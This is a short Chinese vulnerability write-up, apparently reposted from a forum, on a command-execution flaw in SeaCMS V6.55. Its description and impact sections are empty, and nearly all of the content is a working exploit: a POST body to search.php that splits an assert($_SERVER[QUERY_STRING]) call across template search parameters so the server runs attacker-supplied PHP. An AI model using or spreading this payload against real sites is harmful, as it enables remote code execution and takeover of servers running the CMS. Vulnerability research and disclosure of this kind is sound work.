Seacms V6.55

# Seacms V6.55

> 原文：[https://www.zhihuifly.com/t/topic/3116](https://www.zhihuifly.com/t/topic/3116)

# Seacms V6.55 命令执行漏洞

## 一、漏洞简介

## 二、漏洞影响

## 三、复现过程

> path:

“`
http://0-sec.org/search.php
“`

> POST:

“`
searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*
“`